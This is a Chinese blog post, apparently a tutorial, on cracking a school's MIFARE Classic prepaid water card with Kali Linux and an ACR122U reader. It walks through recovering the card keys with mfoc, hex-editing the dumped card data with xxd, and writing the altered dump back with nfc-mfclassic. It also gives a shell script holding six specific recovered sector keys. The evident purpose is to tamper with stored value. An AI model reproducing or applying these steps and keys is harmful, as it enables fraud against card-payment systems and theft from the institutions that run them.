由于Kali本身就集成了很多nfc工具,用起来很方便,再加上一个acr122u读卡器,来尝试PJ学校水卡!

首先安装驱动,到龙杰官网下载Linux的,解压后进入自己Linux发行版,Kali的是Debian的,直接是deb安装包,dpkg -i 安装就行了

接着安装debhelper libtool

apt-get install -y debhelper libtool

apt-get install debhelper
然后就可以连接设备,然后用vi修改这个文件
vi /usr/lib/pcsc/drivers/ifd-ccid.bundle/Contents/Info.plist
把最后一行的0x00000000改为0x00000005
接着重启以下pscsd服务
service pcscd restart

再打开pcscd的deamon进程

pcscd –fd

然后重启终端,su模式下就可以使用了,输入nfc-list就可以显示卡的信息

把卡放在acr122u上然后敲上

mfoc -O water.dump

就开始自动运算了,跑完后会在当前目录生成water.dump

然后用vi打开,命令行模式输入%!xxd,就可以修改十六进制数据,修改完后输入%!xxd -r就可以保存了

然后要写入原来的卡,用的是nfc-mfclassic

nfc-mfclassic w|r a|b [dumpfile]

w或r是写还是读,a或b是用A密码还是B密码,这个是M1卡的结构问题,这里用B密码

nfc-mfclassic w b water.dump

然后拿去测试一下就行了!

还有的是在windows下的dump破解的文件是1KB的,不是标准的4KB,所以需要用fixdump修复一下才行!

在修改一下,因为mfoc第二次不会加载原来的密码,所以它会重新破解,很费时间,但它有个 -k的选项,可以自己添加密码,我们可以写个shell脚本

简化第二次的破解

#!/bin/bash
mfoc -k 4efc1e4f8db3 -k b30d6566b8be -k a4980ce76785 -k dc66807440e5\
-k 4eab50e85d50 -k 9fc6c3c63390 -O fanka.dump

每加一个密码都要加一次 -k ,如果密码多行尾要记得\

然后把它变为可执行文件chmod +x ./shell

接着执行就可以了 ./shell

最新文章

  1. java笔试题(金山网络)
  2. 《android 导入第三方源码jar包遇到的坑》
  3. emu1
  4. 委托(C# 编程指南)
  5. (window)Android Studio安装以及Fetching android sdk component information超时的解决方案
  6. Python环境搭建和开发工具的配置
  7. 正则Match
  8. Android(java)学习笔记152:Android运行时异常“Binary XML file line # : Error inflating class”
  9. (转载)如何优化MySQL insert性能
  10. Eclipse ARM IDE 开发环境
  11. Django问题汇总
  12. Omi教程-组件
  13. Python求解登楼梯问题(京东2016笔试题)
  14. 【HDU 2669】Romantic
  15. MYSQL数据库数据拆分之分库分表总结
  16. Day71Django基础
  17. 【转载】http proxy原理
  18. apache的MultipartEntityBuilder文件上传
  19. 1.2 Linux中的进程 --- fork、vfork、exec函数族、进程退出方式、守护进程等分析
  20. 【cocos2d-x 手游研发----精灵的八面玲珑】

热门文章

  1. The Rotation Game
  2. IDEA默认快捷键
  3. 第一次刷Leetcode,为什么耗费很多时间
  4. Bootstrap 学习笔记3 路径分页标签和徽章组件
  5. Html5 学习笔记 【PC固定布局】 实战7 风景欣赏 联系我们
  6. 利用单臂路由实现VLAN间路由(有1个疑问)
  7. soket通信
  8. python函数装饰器详解
  9. .net core swagger汉化
  10. MVC的布局页,视图布局页和分布页的使用